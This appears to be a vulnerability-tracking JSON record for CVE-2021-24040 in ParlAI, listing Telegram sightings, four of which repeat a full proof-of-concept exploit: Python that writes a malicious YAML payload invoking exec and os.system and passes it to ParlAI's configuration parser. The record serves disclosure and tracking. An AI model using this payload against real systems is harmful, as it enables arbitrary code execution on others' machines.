{"vulnerability": "CVE-2021-24040", "sightings": [{"uuid": "f80d9b4a-bafc-407f-98f2-3bd5b579c338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24040", "type": "seen", "source": "https://t.me/cibsecurity/28698", "content": "\u203c CVE-2021-24040 \u203c\n\nDue to use of unsafe YAML deserialization logic, an attacker with the ability to modify local YAML configuration files could provide malicious input, resulting in remote code execution or similar risks. This issue affects ParlAI prior to v1.1.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-11T02:30:56.000000Z"}, {"uuid": "e250d3f8-e5aa-407d-a340-688edd18e2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24040", "type": "seen", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:24.643962Z"}, {"uuid": "75e57e45-0e52-458a-8f0e-a8403b1f4e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24040", "type": "seen", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:56.430421Z"}, {"uuid": "c769d0ca-e543-4bce-a3cc-85a3a4236ef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24040", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T16:00:05.551003Z"}, {"uuid": "278abdb2-7fe6-43e2-9299-0ac9460437bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24040", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:39.830769Z"}]}